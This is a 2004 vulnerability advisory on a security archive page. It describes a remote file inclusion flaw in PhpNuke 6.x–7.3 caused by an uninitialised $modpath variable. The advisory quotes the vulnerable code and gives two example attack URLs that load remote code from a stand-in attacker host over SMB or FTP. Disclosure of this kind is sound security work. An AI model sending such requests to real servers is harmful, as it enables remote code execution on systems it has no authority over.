what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA029.txt

waraxe-2004-SA029.txt
Posted May 18, 2004
Authored by Janek Vind aka waraxe | Site waraxe.us

PHP-Nuke versions 6.x to 7.3 allow for possible file inclusion.

tags | advisory, php, file inclusion
SHA-256 | 4d43d506de22ba54c5b3d72da244b7c2d217bc83ffb12200388c179db7006a74

waraxe-2004-SA029.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#029] }
{================================================================================}
{ }
{ [ Possible remote file inclusion in PhpNuke 6.x - 7.3 ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 17. May 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=29


Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.

Homepage: http://phpnuke.org


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From what should i start? Well, let's begin from looking at source code of the
index.php file from PhpNuke package.

>From original code:

----------------------------------------------------------------------
...

if (file_exists("themes/$ThemeSel/modules/$name/$mod_file.php"))
{
$modpath = "themes/$ThemeSel/";
}
$modpath .= "modules/$name/$mod_file.php";
if (file_exists($modpath))
{
include($modpath);
}
else
{

...

----------------------------------------------------------------------

What we can see, is that IF selected theme has not customized module file, then path
to default module file will be concatenated to variable $modpath:

$modpath .= "modules/$name/$mod_file.php";

Hmm, it seems, that $modpath is not initialized at all on those conditions...
Let's test it in real world:

http://localhost/nuke73/index.php?modpath=foobar

And what we can see:

"There is a problem right now on the Homepage. Please check back later."

Yes, yes, yes, it works! But now comes bad news for all potential attackers (and good
news for website admins): you see the code "if (file_exists($modpath))"?
This checking routine will fail our attempt to remote file inclusion on most of the
servers. Why "most", not "all"? For answer let's look at php manual (RTFM!!!):

>From php manual:

----------------------------------------------------------------------
...

file_exists

(PHP 3, PHP 4 )
file_exists -- Checks whether a file or directory exists

Description
bool file_exists ( string filename)

Returns TRUE if the file or directory specified by filename exists; FALSE otherwise.
On windows, use //computername/share/filename or \\computername\share\filename to
check files on network shares.

Tip: As of PHP 5.0.0 this function can also be used with some url wrappers.
Refer to Appendix I for a listing of which wrappers support stat() family of functionality.

...
-----------------------------------------------------------------------

And if we look for information about "some url wrappers", then we can see, that
in case of php version 5.x remote inclusion through ftp protocol is possible, because
"file_exists()" function will return "true", when "$modpath" is properly set.

So by my opinion there is 2 cases, when remote file inclusion is possible:


1. If victim server is running Windows operating system and there are no firewall
restrictions against remote SMB connections. Then potential attacker can exploit
remote file inclusion with http request similar like this:

http://localhost/nuke73/index.php?modpath=//attacker_ip/share_name/


2. If victim server is running php version 5.x, then attack request can be something like this:

http://localhost/nuke73/index.php?modpath=ftp://attacker.com/directory/


And because windows servers with phpnuke are rare fenomena, and php version 5.x
is not yet widespread, then right now this remote file inclusion case is not so
critical and will not harm many servers, but it's needed to be fixed ASAP.


How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Wanna know, how to patch this security hole? Then you are welcome to visit
forum on my homepage at http://www.waraxe.us/forum/
See ya there!


Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to Raido Kerna and to all bugtraq readers in Estonia! Tervitused!
Special greets to http://www.gamecheaters.us staff!



Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Homepage: http://www.waraxe.us/

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close